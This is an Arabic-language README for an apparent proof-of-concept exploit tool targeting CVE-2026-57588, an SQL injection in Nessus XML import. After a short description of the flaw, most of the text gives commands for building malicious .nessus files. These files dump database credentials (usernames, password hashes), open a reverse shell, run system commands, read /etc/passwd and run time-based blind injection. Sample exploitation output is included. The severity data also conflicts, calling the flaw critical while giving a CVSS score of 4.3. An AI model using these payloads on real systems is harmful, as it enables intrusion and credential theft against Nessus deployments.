
إثبات مفهوم (PoC) لثغرة CVE-2026-57588 - حقن SQL في استيراد XML في Nessus 10.12.0. ينشئ ملفات .nessus خبيثة لتعداد قواعد البيانات، واستخراج بيانات الاعتماد، واختبار الحقن الأعمى القائم على الوقت. مخصص للبحث الأمني المصرح به. المؤلف: Sudeepa Wanigarathna. تم إصلاح الثغرة في الإصدار 10.12.1.
CVE-2026-57588 هي ثغرة حقن SQL حرجة تم اكتشافها في إصدارات Tenable Nessus 10.12.0 والإصدارات الأقدم. تكمن الثغرة في آلية تحليل XML عند استيراد ملفات نتائج الفحص .nessus، مما يسمح للمستخدمين المُصادَق عليهم الحاصلين على صلاحيات الاستيراد بتنفيذ استعلامات SQL عشوائية ضد قاعدة بيانات PostgreSQL الخلفية.
| الخاصية | القيمة |
|---|---|
| معرّف CVE | CVE-2026-57588 |
| نوع الثغرة | حقن SQL |
| المنتجات المتأثرة | Tenable Nessus 10.12.0 والإصدارات الأقدم |
| الإصدار المُصحَّح | Nessus 10.12.1 والإصدارات الأحدث |
| درجة CVSS | 4.3 (متوسطة) |
| ناقل الهجوم | الشبكة |
| تعقيد الهجوم | منخفض |
| الصلاحيات المطلوبة | مصادقة (صلاحيات الاستيراد) |
| تفاعل المستخدم | مطلوب (هندسة اجتماعية) |
| الأثر | تسريب البيانات، تنفيذ أوامر عن بُعد (RCE) |
توجد الثغرة بسبب عدم كفاية تعقيم قيم وسوم XML قبل دمجها في استعلامات SQL أثناء عملية الاستيراد. يمكن للمهاجم إنشاء ملف .nessus يحتوي على حمولات حقن SQL مصممة خصيصًا داخل وسوم XML مثل:
hostnamefqdnossystem-typemac-addressnetbios-nameعندما يستورد مستخدم بصلاحيات مرتفعة الملف الخبيث، يتم تنفيذ القيم غير المعقَّمة ضد قاعدة بيانات PostgreSQL الخلفية، مما يتيح:
# Clone the repository
git clone https://github.com/CerberusMrXi/CVE-2026-57588-Nessus-XML-Import-SQL-Injection-PoC
cd CVE-2026-57588-Nessus-XML-Import-SQL-Injection-PoC
# Create and activate virtual environment
python3 -m venv venv
source venv/bin/activate # On Windows: venv\Scripts\activate
# Install dependencies
pip install -r requirements.txt
# Verify installation
python3 exploit.py --version
# Build the Docker image
docker build -t nessus-exploit .
# Run the tool
docker run -it --rm nessus-exploit generate -u https://test.com -p enum
# Install as a package
pip install -e .
# Now you can run from anywhere
nessus-exploit generate -u https://test.com -p enum
# Generate a basic enumeration exploit
python3 exploit.py generate -u https://test.com -p enum
# Generate advanced multi-stage exploit
python3 exploit.py generate -u https://test.com -p advanced -o exploit.nessus
# Extract data from database
python3 exploit.py generate -u https://test.com -p dump --table nessus_users --columns username,password_hash,email
# Show general help
python3 exploit.py --help
# Show generate command help
python3 exploit.py generate --help
# List all available payloads
python3 exploit.py list
python3 exploit.py generate -u https://test.com -p enum
[2026-07-22 10:15:23] [INFO] [*] Starting exploitation against https://test.com
[2026-07-22 10:15:23] [INFO] [*] Session: xK9mN2pQ5wR8yV7tJ4sL3fG6hD1
[2026-07-22 10:15:23] [INFO] [*] Payload: enum
[2026-07-22 10:15:23] [INFO] [*] Executing stage: fingerprint
[2026-07-22 10:15:24] [INFO] [+] Generated XML: exploit_20260722_fingerprint_101523.nessus (3847 bytes)
[2026-07-22 10:15:24] [INFO] [*] Executing stage: schema_dump
[2026-07-22 10:15:25] [INFO] [+] Generated XML: exploit_20260722_schema_dump_101524.nessus (4213 bytes)
[2026-07-22 10:15:25] [INFO] [+] Exploitation complete! Duration: 2.15s
============================================================
EXPLOITATION SUMMARY
============================================================
Target: https://test.com
Status: SUCCESS
Duration: 2.15s
Files Generated: 3
Reports Generated: 3
============================================================
python3 exploit.py generate -u https://test.com -p advanced -o custom.nessus -v
# Extract user credentials
python3 exploit.py generate -u https://test.com -p dump --table nessus_users --columns username,password_hash,email
# Extract with custom columns
python3 exploit.py generate -u https://test.com -p dump --table scan_results --columns scan_name,start_time,status
# Start listener and generate exploit
python3 exploit.py generate -u https://test.com -p shell -lp 4444 -o shell.nessus
# Execute basic commands
python3 exploit.py generate -u https://test.com -p exec --command "whoami && id && uname -a"
# Execute complex commands
python3 exploit.py generate -u https://test.com -p exec --command "ps aux | grep nessus"
# Read system files
python3 exploit.py generate -u https://test.com -p file -f /etc/passwd
# Read application logs
python3 exploit.py generate -u https://test.com -p file -f /var/log/nessus/nessusd.log
# 5-second delay
python3 exploit.py generate -u https://test.com -p sleep -s 5
# 30-second delay for heavy tests
python3 exploit.py generate -u https://test.com -p sleep -s 30